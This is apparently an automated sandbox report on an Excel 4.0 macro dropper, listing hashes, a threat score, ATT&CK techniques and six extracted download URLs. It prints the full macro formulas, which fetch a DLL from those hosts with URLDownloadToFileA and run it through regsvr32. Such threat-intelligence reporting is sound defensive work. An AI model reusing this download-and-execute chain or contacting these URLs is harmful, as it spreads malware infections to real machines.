General

  • Target

    ?i=1bjtpvsyr

  • Size

    46KB

  • Sample

    220522-f58zzsfha8

  • MD5

    c393ecb32eba0775b7eaa0fc89e39cb2

  • SHA1

    1a075d4e969be8599d439b2dc4555faf37c7610c

  • SHA256

    3cea415c72cf99f730ca00ed40940ba35c82dd2582786d91fb329459f88328ef

  • SHA512

    34790aa329f59f5fd49040e3608ab13ae522ddec12eff0cce2d1caaf783f094de00d5affdae2867b7598a4af05eb78996862912955555ae59803c2873fc76219

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://eles-tech.com/css/KzMysMqFMs/

http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/

https://txpcrescue.com/cgi-bin/5tSO8/

http://hadramout21.com/jetpack-temp/Py/

http://haribuilders.com/zoombox-master/4HYGX/

http://hansen-arnal.com/cp/iiTrAeEtvOwmjjekWgI/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://eles-tech.com/css/KzMysMqFMs/","..\xewn.dll",0,0) =IF('PIMKE'!C14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/","..\xewn.dll",0,0)) =IF('PIMKE'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://txpcrescue.com/cgi-bin/5tSO8/","..\xewn.dll",0,0)) =IF('PIMKE'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hadramout21.com/jetpack-temp/Py/","..\xewn.dll",0,0)) =IF('PIMKE'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://haribuilders.com/zoombox-master/4HYGX/","..\xewn.dll",0,0)) =IF('PIMKE'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hansen-arnal.com/cp/iiTrAeEtvOwmjjekWgI/","..\xewn.dll",0,0)) =IF('PIMKE'!C24<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xewn.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://eles-tech.com/css/KzMysMqFMs/

xlm40.dropper

http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/

Targets

    • Target

      ?i=1bjtpvsyr

    • Size

      46KB

    • MD5

      c393ecb32eba0775b7eaa0fc89e39cb2

    • SHA1

      1a075d4e969be8599d439b2dc4555faf37c7610c

    • SHA256

      3cea415c72cf99f730ca00ed40940ba35c82dd2582786d91fb329459f88328ef

    • SHA512

      34790aa329f59f5fd49040e3608ab13ae522ddec12eff0cce2d1caaf783f094de00d5affdae2867b7598a4af05eb78996862912955555ae59803c2873fc76219

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Tasks